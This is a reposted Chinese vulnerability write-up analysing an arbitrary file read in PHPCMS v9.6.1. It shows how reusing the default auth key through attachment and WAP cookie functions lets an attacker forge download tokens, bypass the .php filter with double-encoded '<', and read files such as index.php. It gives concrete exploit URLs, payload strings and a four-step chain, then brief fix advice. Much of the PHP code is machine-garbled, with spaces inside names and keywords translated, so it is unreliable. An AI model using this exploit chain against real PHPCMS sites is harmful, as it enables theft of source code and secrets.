VPS参考测评推荐
专注分享VPS主机优惠信息
衡天云优惠活动
华纳云最新优惠促销活动
jtti最新优惠促销活动

讲解PHPCMSv9.6.1中任意文件读取漏洞(任意文件写入漏洞)的挖掘分析过程。

locvps
主机参考:VPS测评参考推荐/专注分享VPS服务器优惠信息!若您是商家可以在本站进行投稿,查看详情!此外我们还提供软文收录、PayPal代付、广告赞助等服务,查看详情!
我们发布的部分优惠活动文章可能存在时效性,购买时建议在本站搜索商家名称可查看相关文章充分了解该商家!若非中文页面可使用Edge浏览器同步翻译!PayPal代付/收录合作

PHPCMS利用教程介绍PHPCMSv9.6.1 讲解PHPCMSv9.6.1中任意文件读取漏洞(任意文件写入漏洞)的挖掘分析过程。中任意文件读取漏洞的挖掘

推荐(免费):PHPCMS教程

在网上看到了这样一个漏洞,就抽空分析了一下,得出了这个分析。

1.准备&;漏洞关键点快速扫描1.1预备知识这里对本次分析需要掌握的知识进行了梳理:

Php原生parse_str方法会自动执行一个urldecode,如果第二个参数为空,就会执行类似extract的操作。

本机空方法,用于字符串“& quot返回true。

phpcms中的Sys_auth是对称加密,在不知道auth_key的情况下,理论上不可能构造有效的密文。

1.2在diff下快速扫描v9.6.0和v9.6.1,在phpcms/modules/content/down . PHP中发现以下变化:

-a/phpcms/modules/content/down . PHP ++ b/phpcms/modules/content/down . PHP @ @-14,12 +14,16 @ @ class down { $ a _ k = sys _ auth($ a _ k,& # 39;解码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39));if(empty($ a _ k))show message(L(& # 39;非法参数& # 39;));unset($i,$m,$ f);+$ a _ k = safe _ replace($ a _ k);^m parse _ str($ a _ k);if(isset($ I))$ I = $ id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($modelid)||!isset($ catid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));$ allow _ visitor = 1;+$ id = intval($ id);^m+ $ modelid = intval($ modelid);^m+ $ catid = intval($ catid);^m $ model = get cache(& # 39;型号& # 39;,'commons & # 39);$ tablename = $ this-& gt;d B- & gt;table _ name = $ this-& gt;d B- & gt;db_tablepre。$ MODEL[$ modelid][& # 39;tablename & # 39];$ this-& gt;d B- & gt;table_name = $tablename。'_ data & # 39;@@ -86,6 +90,7 @ @ class down { $ a _ k = sys _ auth($ a _ k,& # 39;解码& # 39;,$ PC _ auth _ key);if(empty($ a _ k))show message(L(& # 39;非法参数& # 39;));unset($i,$m,$f,$t,$ IP);+$ a _ k = safe _ replace($ a _ k);^m parse _ str($ a _ k);if(isset($ I))$ downid = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));@@ -118,6 +123,7 @ @ class down { } $ ext = fileext($ filename);$ filename = date(& # 39;Ymd _ his & # 39).随机(3)。'。'。$ ext+$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);^M file_down($fileurl,$ filename);}}主要修改了init()和download()两个方法,大胆猜测这两个函数有问题。

公共函数init(){ $ a _ k = trim($ _ GET[& # 39;a _ k & # 39]);如果(!isset($ a _ k))show message(L(& # 39;非法参数& # 39;));$a_k = sys_auth($a_k,& # 39;解码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39));//关键点1 if (empty ($ a _ k))显示消息(l(& # 39;非法参数& # 39;));unset($i,$m,$ f);$ a _ k = safe _ replace($ a _ k);//关键点2 parse _ str($ a _ k);//关键点3 if(isset($ I))$ I = $ id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($modelid)||!isset($ catid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));$ allow _ visitor = 1;$ id = intval($ id);$ modelid = intval($ modelid);$ catid = intval($ catid);......if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));//关键点4 if(strpos($f,& # 39;http://& # 39;) !== FALSE || strpos($f,& # 39;FTP://& # 39;) !== FALSE || strpos($f,& # 39;://')= = = FALSE){ $ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);$ a _ k = urlencode(sys _ auth(& quot;i = $ i & ampd = $ d & amps = $ s & ampt = & quot。SYS_TIME。"& ampip = & quot。ip()。"& ampm = & quot。$ m. & quot& ampf = $ f & ampmodelid = & quot。$modelid,& # 39;编码& # 39;,$ PC _ auth _ key));//关键点5 $ downurl = & # 39?m =内容& ampc =羽绒& ampa =下载& ampa _ k = & # 39。$ a _ k;} else { $ down URL = $ f;}}公共函数下载(){ $ a _ k = trim($ _ GET[& # 39;a _ k & # 39]);$ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);//关键点6 $a_k = sys_auth($a_k,& # 39;解码& # 39;,$ PC _ auth _ key);if(empty($ a _ k))show message(L(& # 39;非法参数& # 39;));unset($i,$m,$f,$t,$ IP);$ a _ k = safe _ replace($ a _ k);//关键点7 parse _ str($ a _ k);//关键点8 if(isset($ I))$ down id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($ modelid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));如果(!$ i | | $ m & lt0)show message(L(& # 39;非法参数& # 39;));如果(!isset($ t))show message(L(& # 39;非法参数& # 39;));如果(!isset($ IP))show message(L(& # 39;非法参数& # 39;));$ start time = intval($ t);if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));//关键点9 $ fileurl = trim($ f);如果(!$downid || empty($fileurl) ||!preg _ match(& quot;/[0-9]{ 10 }/& quot;,$starttime) ||!preg _ match(& quot;/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3 }/& quot;,$ip) || $ip!= IP())show message(L(& # 39;非法参数& # 39;));$ end TIME = SYS _ TIME-$ start TIME;if($ end time & gt;3600)show message(L(& # 39;url _ invalid & # 39));if($m) $fileurl = trim($s)。trim($ fileurl);//关键点10 if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$ fileurl))show message(L(& # 39;url _ error & # 39));//关键点11 //远程文件if(strpos($fileurl,& # 39;:/')& amp& amp(strpos($fileurl,PC _ base::load _ config(& # 39;系统& # 39;,'上传_网址& # 39;))= = = false)){///关键点12头(& quot位置:$ fileurl & quot);} else { if($ d = = 0){ header(& quot;位置:& quot。$ fileurl);//Key point 13 } else { $ fileurl = str _ replace(array(PC _ base::load _ config(& # 39;系统& # 39;,'上传_网址& # 39;),'/')、array(PC _ base::load _ config(& # 39;系统& # 39;,'上传路径& # 39;)、DIRECTORY_SEPARATOR)、$ fileurl);$ filename = basename($ file URL);//关键点14 //处理中文文件if(preg _ match(& quot;/^([\s\S]*?)([\ x8\ xfe][\ x40-\ xfe])([\ S \ S]*?)/& quot;,$ fileurl)){ $ filename = str _ replace(array(& quot;% 5C & quot,& quot% 2F & quot;,& quot% 3A & quot),数组(& quot\ \ & quot,& quot/& quot;,& quot:& quot)、urlencode($ file URL));$ filename = URL decode(basename($ filename));//Key point 15 } $ ext = fileext($ filename);//Key point 16 $ filename = date(& # 39;Ymd _ his & # 39).随机(3)。'。'。$ ext$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);//关键点17 file_down($fileurl,$ filename);//Key 18}}安全_替换函数如下

function safe _ replace($ string){ $ string = str _ replace(& # 39;%20','',$ string);$ string = str _ replace(& # 39;%27','',$ string);$ string = str _ replace(& # 39;%2527','',$ string);$ string = str _ replace(& # 39;*','',$ string);$ string = str _ replace(& # 39;"','& ampquot',$ string);$ string = str _ replace(& quot;'",'',$ string);$ string = str _ replace(& # 39;"','',$ string);$ string = str _ replace(& # 39;;','',$ string);$ string = str _ replace(& # 39;& lt','& amplt;',$ string);$ string = str _ replace(& # 39;& gt','& ampgt;',$ string);$ string = str _ replace(& quot;{ & quot,'',$ string);$ string = str _ replace(& # 39;}','',$ string);$ string = str _ replace(& # 39;\\','',$ string);返回$ string} 1.2内容/下降模块大致分析流程。在init方法中,根据原始的$a_k(包括file_down的文件的基本信息),验证一次,生成并调用。

下载方法的url,url的模式是$ downurl = & # 39?m =内容& ampc =羽绒& ampa =下载& ampa _ k = & # 39。$a_k(必须满足一定条件。)

download方法接收$a_k,解码,求解文件信息,调用file_down($fileurl,$filename)(必须满足一定条件)。

我们来看看file_down函数。第一个参数$filepath是实际控制readfile的文件名的变量。readfile可以读取本地文件,所以我们可以构造一个合格的$fileurl,绕过上面的限制来完成本地文件的读取功能!

函数file_down($filepath,$ filename = & # 39'){如果(!$ filename)$ filename = basename($ file path);if(is _ ie())$ filename = raw urlencode($ filename);$ filetype = fileext($ filename);$ filesize = sprintf(& quot;% u & quot,filesize($ file path));if(ob_get_length()!= = false)@ ob _ end _ clean();页眉(& # 39;pragma:public & # 39;);页眉(& # 39;最后修改时间:& # 39;。GM date(& # 39;d,d,M,Y,H:I:s & # 39;) .'GMT & # 39);页眉(& # 39;缓存控制:不存储,不缓存,必须重新验证& # 39;);页眉(& # 39;Cache-Control: pre-check=0,post-check=0,max-age = 0 & # 39;);页眉(& # 39;内容传输编码:二进制& # 39;);页眉(& # 39;内容编码:无& # 39;);页眉(& # 39;内容类型:& # 39;。$ filetype);页眉(& # 39;内容-处置:依恋;filename = & quot'。$filename。'"');页眉(& # 39;内容长度:& # 39;。$ filesize);readfile($ file path);退出;}1.2.1$fileurl变量结构分析如果我们要读取。站点的php结束文件,php由于key point 11的存在不能出现在$fileurl中,但是我们从key point 17可以看到它已经被替换了。

$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);//关键点17那么可以认为我们构建了一个符合。ph ([

再往上看。

if($m) $fileurl = trim($s)。trim($ fileurl);//如果关键点10的变量$m为真,那么我们可以通过引入变量$s来构造一个$fileurl,而$fileurl是由变量$ F控制的。

$ fileurl = trim($ f);$ a _ k = safe _ replace($ a _ k);//关键点7 parse _ str($ a _ k);//关键点8通过parse_str提取变量,轻松得到$ i,$ m,$ f,$ t,$ s,$ d和$ modelid的控制变量。看到这里,我们可以构造$a_k来控制这些变量。

1.2.2$a_k变量分析然后查。

$ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);//关键点6 $a_k = sys_auth($a_k,& # 39;解码& # 39;,$ PC _ auth _ key);这个关键点6很重要,因为这里的$pc_auth_key几乎不可能暴力出来。但是,只有在init()方法中使用相同的$pc_auth_key,才能获得加密的$a_k。所以只能通过init()方法构造$a_k。

现在让我们看看init方法。

$ a _ k = trim($ _ GET[& # 39;a _ k & # 39]);如果(!isset($ a _ k))show message(L(& # 39;非法参数& # 39;));$a_k = sys_auth($a_k,& # 39;解码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39));//关键点1这里我们可以发现sys_auth的auth其实用的是系统默认的auth_key。直觉告诉我,这可能就是问题所在。除了这个区别,init方法的其他逻辑这里就不描述了。

1.2.3总结归纳:

index.php?m =内容& ampc =羽绒& ampa = init & ampA_k=想办法构造一个合格的。

然后init方法会构造一个$a_k,可以根据下载方法解密。

通过控制$a_k,间接控制$i,$f,$m,$s,$d等变量。,该漏洞就可能被利用。

2.漏洞挖掘过程2.1 init方法接受的$a_k构造2.1.1探索正常过程中的$a_k构造过程快速扫描源代码,看哪里可以产生对init方法的调用,这其实就是常规下载模型的逻辑。

init方法的$a_k会在phpcms/modules/content/fields/downlines和phpcms/modules/content/fields/downlines中生成。

函数downfile($field,$ value){ extract(string 2 array($ this-& gt;字段[$ field][& # 39;设置& # 39;]));$ list _ str = array();if($ value){ $ value _ arr = explode(& # 39;|',$ value);$ file URL = $ value _ arr[& # 39;0'];if($ file URL){ $ sel _ server = $ value _ arr[& # 39;1'] ?爆炸(& # 39;,',$ value _ arr[& # 39;1']) : '';$ server _ list = get cache(& # 39;下行服务器& # 39;,'commons & # 39);if(is _ array($ server _ list)){ foreach($ server _ list as $ _ k = & gt;$ _ v){ if($value & amp;& ampis _ array($ sel _ server)& amp;& ampin_array($_k,$ sel _ server)){ $ download URL = $ _ v[siteurl]。$ fileurlif($ download link){ $ a _ k = urlencode(sys _ auth(& quot;我= $ this-& gt;id & amps = $ _ v[siteurl]& amp;m = 1 & ampf = $ fileurl & amp下载类型& ampmodelid = $ this-& gt;模型& ampcatid = $ this-& gt;catid & quot, '编码& # 39;,PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39)));$ list _ str[]= & quot;& lta href = & # 39"。APP_PATH。"index.php?m =内容& ampc =羽绒& ampa _ k = { $ a _ k } & # 39target = & # 39_ blank & # 39& gt{ $ _ v[站点名称]} & lt;/a & gt;";} else { $ list _ str[]= & quot;& lta href = & # 39{ $ downloadurl } & # 39target = & # 39_ blank & # 39& gt{ $ _ v[站点名称]} & lt;/a & gt;";} } } }返回$ list _ str}}}但是发现content_input和content_output中权限验证和限制的逻辑比较完善,基本不存在利用的可能。

2.1.2黑科技构造$a_k因为sys_auth是对称加密,能不能找个地方用同样的密钥生成,搜索sys_auth全文,我们来看看有没有满足以下条件的上下文。

该方式被编码。

Auth_key是系统默认,即:PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39)

而且要加密的内容是可控的(可以是我们的$_REQUEST数据,也可以是构造的)。

加密的数据被回显。

总共找到58个匹配项,但是没有一个符合上下文,但是我们可以注意到。

公共静态函数set_cookie($var,$ value = & # 39',$ time = 0){ $ time = $ time & gt;0 ?$ time:($ value = = & # 39;'?SYS _ TIME-3600:0);$ s = $ _ SERVER[& # 39;服务器端口& # 39;] == '443'?1 : 0;$ var = PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ pre & # 39).$ var$ _ COOKIE[$ var]= $ value;if(is _ array($ value)){ foreach($ value as $ k = & gt;$ v){ set cookie($var。'['。$ k. & # 39]',sys_auth($v,& # 39;编码& # 39;),$time,PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ path & # 39),PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ domain & # 39),$ s);} } else { set cookie($var,sys _ auth($value,& # 39;编码& # 39;),$time,PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ path & # 39),PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ domain & # 39),$ s);} }公共静态函数get_cookie($var,$ default = & # 39'){ $ var = PC _ base::load _ config(& # 39;系统& # 39;,'cookie _ pre & # 39).$ varreturn isset($_COOKIE[$var])?sys_auth($_COOKIE[$var],& # 39;解码& # 39;):$ default} param::set _ cookie param::get _ cookie使用默认的auth_key进行cookie加密。

立即全文搜索set_cookie,并查找满足以下条件的上下文。

set_cookie的内容是可控的。

set_cookie的触发条件应该尽量限制。

总共找到了122个匹配,并且找到了两个更好的触发点。

phpcms/modules/attachment/attachments . PHP中的Swfupload_json/swfupload_del方法和phpcms/modules/video.php中的swfupload_json/del方法。

视频模块需要管理员权限,所以不考虑。只要是注册用户就可以调用附件模块。

我们来看看swfupload_json

公共函数swfupload _ JSON(){ $ arr[& # 39;援助& # 39;]= intval($ _ GET[& # 39;援助& # 39;]);$ arr[& # 39;src & # 39]= safe _ replace(trim($ _ GET[& # 39;src & # 39]));$ arr[& # 39;文件名& # 39;]= urlencode(safe _ replace($ _ GET[& # 39;文件名& # 39;]));$ JSON _ str = JSON _ encode($ arr);$ att _ arr _ exist = param::get _ cookie(& # 39;att _ json & # 39);$ att _ arr _ exist _ tmp = explode(& # 39;||',$ att _ arr _ exist);if(is _ array($ att _ arr _ exist _ tmp)& amp;& ampin_array($json_str,$ att _ arr _ exist _ tmp)){ return true;} else { $json_str = $att_arr_exist?$att_arr_exist。'||'。$ JSON _ str:$ JSON _ str;param::set _ cookie(& # 39;att _ json & # 39,$ JSON _ str);返回true}}我们可以通过src和filename来构造。最终我选择src,最终的形式会是一个json字符串。当然,有很多会“| | & quot分裂。

在我们注册用户登录后,调用。

index.php?m =附件& ampc =附件和附件。a = swfupload _ json & ampaid = 1 & ampsrc=fobnn生成的数据将是

{ & quot援助& quot:888,& quotsrc&quot:& quotfobnn & quot,& quot文件名& quot:& quot"}然后我们在response . header[" att _ JSON & quot;]。

1 a66 lxdasytpyw 9e h6 xoxqtpetk 6x 6 z 0l 0 krq 7 _ LX 9 bekmdtq 1 xcymmmso 3m 9 vdf 5 e 6 xy 3 rjvulahkk 15 RH-cjz我们来修改下. PHP-& gt;Init方法,解码后输出$a_k。

然后我们打电话

index.php?m =内容& ampc =羽绒& ampa = init & ampa _ k = 1 a66 lxdasytpyw 9 eh 6 xoxqtpetkx 6 z 0 l 0 krq 7 _ LX 9 bekmdtq 1 xcymmso 3m 9 vdf 5 es 6y 3 r jvulak 15 RH-cjz令人振奋,init方法成功解码$ a _ k。

好了,现在我们已经验证了我们想法的可行性,是时候构建一个可用的有效载荷了。

2.2 json和parse_str目前正在尝试解决从json解析出parsing _ str并能够解析出$ i、$ m和$ f等变量的问题。

{ & quot援助& quot:888,& quotsrc&quot:& quotfobnn = q & ampp1 = 12312 & quot,& quot文件名& quot:& quot"}分析{ & quot援助& quot:888,& quotsrc&quot:& quotFobnn=q和p1 = 12312 & quot,& quot文件名& quot:& quot"}

说明parse_str还是可以解析的。只需关闭它的前后,并填写我们需要的变量,例如。

{ & quot援助& quot:888,& quotsrc&quot:& quotpad = x & ampfobnn = q & ampp1=12312。pade = & quot,& quot文件名& quot:& quot"}然后fobnn和p1正常解析,src需要URLENCODE提交,不会导致php解析错误。

2.3构造一个符合init方法的$a_k。首先,我们构造一个符合init方法的$a_k,这样就可以完成正常的过程。

if(isset($ I))$ I = $ id = intval($ I);如果(!isset($ m))show message(L(& # 39;非法参数& # 39;));如果(!isset($modelid)||!isset($ catid))show message(L(& # 39;非法参数& # 39;));if(empty($ f))show message(L(& # 39;url _ invalid & # 39));$ allow _ visitor = 1;$ id = intval($ id);$ modelid = intval($ modelid);$ catid = intval($ catid);构造pad = x &;i = 1 & ampmodelid = 1 & ampm = 1 & ampcatid = 1 & ampf = fobnn & ampPade=用于满足条件。

index.php?m =附件& ampc =附件和附件。a = swfupload _ json & ampaid = 1 src = pad % 3dx % 26i % 3d 1% 26 modeid % 3d 1% 25m % 3d 1% 26 CCA tid % 3d 1% 26f % 3 dobnn % 26 pade % 3d get。

3d 3 fr 3g 157 hoc 3 wgneqolyxvctvxf 95 vbotxfclzq 4 bbx 7j 0 lhb 7 c 6 urwbyzg 8 alwdrqp 4 mzb 761 b 1 _ zsod-adgb 2 jks 4 uvdbknvgyf P8 c 8 VP-emqkonvby 6 an H4 ffwuybrufucsvsmjq { & quot;援助& quot:1,& quotsrc&quot:& quotpad = x & ampi = 1 & ampmodelid = 1 & ampm = 1 & ampcatid = 1 & ampf = fobnn & amppade = & quot,& quot文件名& quot:& quot"}然后提交。

index.php?m =内容& ampc =羽绒& ampa = init & ampa _ k = 3d 3 fr 3g 157 hoc 3 wgneqolyxvctvxf 95 vbotxfclzq 4 bx7j 0 l HB 7 c 6 urwbyzg 8 alwdrqp 4 mzb 761 b 1 _ zsod-ADB 2 jks 4 uvdbknkvgyfp 8 c 8 PV-emqkonvby 6 Anh 4 fffwuyubufusvsmjq成功!该页面生成了一个调用下载方法的url。

& lt/head & gt;& ltbody & gt& ltstyle type = & quottext/CSS & quot;& gt正文,html{背景:#FFF!重要;} & lt/style & gt;& lta href = & quot?m =内容& ampc =羽绒& ampa =下载& ampa _ k = a 602 ecw 5t kutzttvleyrcu 0k stkdclfcnaq 06 ge 74c 9 ZC 6 nmuahass 9 zwca-glxrmbtylsbtrxmntxy 5 nsfrziec _ icrmj 3 ptsqxthxps 3 QS 4 u 6 pkliz 4y 3a & quot;class = & quotxzs _ btn & quot& gt& lt/a & gt;& lt/body & gt;& lt/html & gt;2.4绕过限制构造最终有效载荷。目前正常流程已经走完。重点是如何构造一致的$fileurl,看看init方法。

if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));if(strpos($f,& # 39;http://& # 39;) !== FALSE || strpos($f,& # 39;FTP://& # 39;) !== FALSE || strpos($f,& # 39;://')= = = FALSE){ $ PC _ auth _ key = MD5(PC _ base::load _ config(& # 39;系统& # 39;,'auth _ key & # 39).$ _服务器[& # 39;HTTP _ USER _ AGENT & # 39].'下来& # 39;);$ a _ k = urlencode(sys _ auth(& quot;i = $ i & ampd = $ d & amps = $ s & ampt = & quot。SYS_TIME。"& ampip = & quot。ip()。"& ampm = & quot。$ m. & quot& ampf = $ f & ampmodelid = & quot。$modelid,& # 39;编码& # 39;,$ PC _ auth _ key));$ downurl = & # 39?m =内容& ampc =羽绒& ampa =下载& ampa _ k = & # 39。$ a _ k;} else { $ down URL = $ f;对F的限制还挺多的,包括定期黑名单检测php,asp等等。也不能出现”..",& quot:\ & quot

幸运的是,我们在下载函数中看到了这一点

if($m) $fileurl = trim($s)。trim($ fileurl);//关键点10:我们可以通过控制$m由$s构造,而$m和$s参与$ A _ K的构造。

在init方法中,我们可以构造m = 1 &;s=。php & ampF=index为了绕过init方法的检测,我们把重点放在download方法上。

//例行检测代码就不贴了,省略$ i,$ t,$ m,$ modelid,$ t,$ ip的检测。if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$f) || strpos($f,& quot:\ \ & quot)!==FALSE || strpos($f,& # 39;..')!= = FALSE)show message(L(& # 39;url _ error & # 39));$ fileurl = trim($ f);通过这个结构,上面的检测肯定可以绕过,但是会发现后面的检测会出错,最后$fileurl会变成index.php。

if($m) $fileurl = trim($s)。trim($ fileurl);if(preg _ match(& # 39;/(PHP | phtml | PHP 3 | PHP 4 | JSP | dll | ASP | cer | asa | shtml | shtm | aspx | asax | CGI | fcgi | pl)(\。| $)/I & # 39;,$ fileurl))show message(L(& # 39;url _ error & # 39));//远程文件可以在快速扫描中看到。

$ fileurl = str _ replace(array(& # 39;& lt','& gt'), '',$ fileurl);//重点17也看到了

if($ d = = 0){ header(& quot;位置:& quot。$ fileurl);2.4.1 urlencode "

最终pad = x &;i = 1 & ampmodelid = 1 & ampcatid = 1 & ampd=1。m = 1 & ampf=。p & lt惠普& amps =指数& amppade=

因为safe_replce的存在,<会被过滤掉,我在之前的知识里说过,parse_str会自动编码一次。

所以它可以被建造

d=1。m = 1 & ampf=。p % 3chp & amps =指数

我们发现在init方法中,safe_replace用了一次,parse_str用了一次。

那么最终编码到下载$a_k中的数据实际上是

所以我们只需要在init方法被编码时确保它是%3c,并通过urlencode构造一次%3c。

d=1。m = 1 & ampf=。p % 253惠普& amps =指数

当然,如果要读取其他目录,也要对目录路径进行编码。

2.4.2最终有效载荷以阅读首页index.php为例。

pad = x & ampi = 1 & ampmodelid = 1 & ampcatid = 1 & ampd=1。m = 1 & ampf=。p % 253惠普& amps =指数& amppade=index.php?m =附件& ampc =附件和附件。a = swfupload _ json & ampaid = 1 & ampsrc = pad % 3dx % 26i % 3d 1% 26 modelid % 3d 1% 26 catid % 3d 1% 26d % 3d 1% 26m % 3d 1% 26f % 3d . p % 25253 chp % 26s % 3d index % 26 pade % 3d 8862 fewa 0 vodamdaewxtunq 817 najmag 9 dylumpb 8 qpbl 8 fi 91 _ xvw 8 ngzkbbjkxn 8 ms-sHcBkGNtosnd _ zjshnlyqq援助& quot:1,& quotsrc&quot:& quotpad = x & ampi = 1 & ampmodelid = 1 & ampcatid = 1 & ampd=1。m = 1 & ampf=。p % 253惠普& amps =指数& amppade = & quot,& quot文件名& quot:& quot"}index.php?m =内容& ampc =羽绒& ampa = init & ampa _ k = 8862 fewa 0 vodamdaewxtunq 817 najmag 9 dylumpb 8 qpbl 8 fi 91 _ xvw 8 ngzkbgbjkxn 8 ms-sHcBkGNtosnd _ zjshnly qvorc 2 zfmspubno 6 rdialavacchvrgttnrymaimtij 4 ovmgpwjbu 1 I 0 flmurclmfaweiqindex . PHP?m =内容& ampc =羽绒& ampa =下载& ampa _ k = e 5586 zx1k-u h8 prhk 2 zpap V5 cxlamnajy 46 mo 8 iy 7 dgyxwqwzhqfvpqjtmdmmujxrf 0 GX _ wriv-ISK Q2 z 8 yewc-LRX IR 9 egt-PAEJTGBUCCOOI 3 wlmdxajpdfuiqpsy最后提示下载文件,文件下载成功。打开后,里面确实是index.php的内容。

2.5完全无限制地使用class attachments { private $ att _ db;绕过附件模块的权限限制;function _ _ construct(){ PC _ base::load _ app _ func(& # 39;全球& # 39;);$ this-& gt;upload _ URL = PC _ base::load _ config(& # 39;系统& # 39;,'上传_网址& # 39;);$ this-& gt;upload _ path = PC _ base::load _ config(& # 39;系统& # 39;,'上传路径& # 39;);$ this-& gt;img ext = array(& # 39;jpg & # 39,'gif & # 39,'巴新& # 39;,'bmp & # 39,'jpeg & # 39);$ this-& gt;userid = $ _ SESSION[& # 39;userid & # 39] ?$ _ SESSION[& # 39;userid & # 39]:(param::get _ cookie(& # 39;_ userid & # 39) ?param::get _ cookie(& # 39;_ userid & # 39):sys _ auth($ _ POST[& # 39;userid _ flash & # 39],'解码& # 39;));$ this-& gt;is admin = $ this-& gt;admin _ username = $ _ SESSION[& # 39;roleid & # 39] ?1 : 0;$ this-& gt;groupid = param::get _ cookie(& # 39;_ groupid & # 39) ?param::get _ cookie(& # 39;_ groupid & # 39) : 8;//判断是否登录if(empty($ this->;userid)){ show message(L(& # 39;请_登录& # 39;,'','会员& # 39;));}}可以找到

sys _ auth($ _ POST[& # 39;userid _ flash & # 39],'解码& # 39;)可以控制$ this-& gt;Userid没有复杂的权限检查,默认AUTH_KEY加密。

在全文中,我发现set_cookie是没有限制的,并且发现WAP模块是可以使用的。

PC _ base::load _ sys _ class(& # 39;格式& # 39;, '', 0);类索引{ function _ _ construct(){ $ this-& gt;db = PC _ base::load _ model(& # 39;content _ model & # 39);$ this-& gt;siteid = isset($ _ GET[& # 39;siteid & # 39])& amp;& amp(intval($ _ GET[& # 39;siteid & # 39])& gt;0) ?intval(trim($ _ GET[& # 39;siteid & # 39])):(param::get _ cookie(& # 39;siteid & # 39) ?param::get _ cookie(& # 39;siteid & # 39) : 1);param::set _ cookie(& # 39;siteid & # 39,$ this-& gt;siteid);$ this-& gt;WAP _ site = get cache(& # 39;wap _ site & # 39,'wap & # 39);$ this-& gt;types = get cache(& # 39;wap _ type & # 39,'wap & # 39);$ this-& gt;WAP = $ this-& gt;WAP _ site[$ this-& gt;siteid];定义(& # 39;WAP _ SITEURL & # 39,$ this-& gt;WAP[& # 39;域& # 39;] ?$ this-& gt;WAP[& # 39;域& # 39;].'index.php?':APP_PATH。'index.php?m = wap & ampsiteid = & # 39。$ this-& gt;siteid);如果($ this-& gt;WAP[& # 39;地位& # 39;]!=1)退出(L(& # 39;wap _ close _ status & # 39));}没有任何条件,我们可以$ _ GET[& # 39;siteid & # 39]来控制param::set _ cookie(& # 39;siteid & # 39,$ this-& gt;Siteid),并且默认有WAP模块文件,但不需要打开。

3.EXP编写过程如下:

index.php?m = wap & ampc =指数& ampSiteid=1获取一个名为Siteid的cookie。

参观index.php?m =附件& ampc =附件和附件。a = swfupload _ json & amp援助=1

& ampSrc=想要读取文件的有效载荷,访问时将post字段userid_flash设置为步骤1中获取的cookie。响应成功后,获取名为att_json的cookie。

参观index.php?m =内容& ampc =羽绒& ampa = init & ampA_k=获取的att_json来构造最终的漏洞利用路径。

生成的$a_k可以直接截取。

参观index.php?m =内容& ampc =下载& ampa = init & ampA_k=截取的$ a _ k .完全利用。

4.修复方案的init方法中的$a_k加密和解密sys_auth不应使用默认密钥。

在file_down之前再次过滤$fileurl。

以上是讲解PHPCMSv9.6.1中任意文件读取漏洞挖掘分析过程的详细内容,更多请关注主机参考其他相关文章!

这几篇文章你可能也喜欢:

本文由主机参考刊发,转载请注明:讲解PHPCMSv9.6.1中任意文件读取漏洞(任意文件写入漏洞)的挖掘分析过程。 https://zhujicankao.com/93591.html

【腾讯云】领8888元采购礼包,抢爆款云服务器 每月 9元起,个人开发者加享折上折!
打赏
转载请注明原文链接:主机参考 » 讲解PHPCMSv9.6.1中任意文件读取漏洞(任意文件写入漏洞)的挖掘分析过程。
主机参考仅做资料收集,不对商家任何信息及交易做信用担保,购买前请注意风险,有交易纠纷请自行解决!请查阅:特别声明

评论 抢沙发

评论前必须登录!